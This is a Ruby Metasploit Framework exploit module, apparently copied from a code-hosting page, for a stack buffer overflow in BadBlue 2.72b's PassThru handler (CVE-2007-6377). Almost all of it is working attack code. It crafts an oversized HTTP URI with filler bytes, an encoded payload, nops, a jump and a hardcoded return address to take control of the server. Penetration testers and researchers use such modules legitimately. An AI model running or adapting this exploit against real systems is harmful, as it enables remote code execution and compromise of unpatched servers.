77 lines
1.9 KiB
Ruby
77 lines
1.9 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the PassThru
|
|
functionality in ext.dll in BadBlue 2.72b and earlier.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2007-6377'],
|
|
['OSVDB', '42416'],
|
|
['BID', '26803'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 750,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'StackAdjustment' => -3500,
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
'DisableNops' => 'True',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Dec 10 2007'))
|
|
|
|
register_options( [Opt::RPORT(80),], self.class )
|
|
|
|
end
|
|
|
|
def exploit
|
|
# Need to obfuscate the buffer a bit more. "\x96" is ghetto.
|
|
uri = "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length)
|
|
uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V')
|
|
uri << make_nops(12) + [0xe8, -850].pack('CV')
|
|
|
|
print_status("Trying target %s..." % target.name)
|
|
|
|
send_request_raw({'uri' => uri,}, 5)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|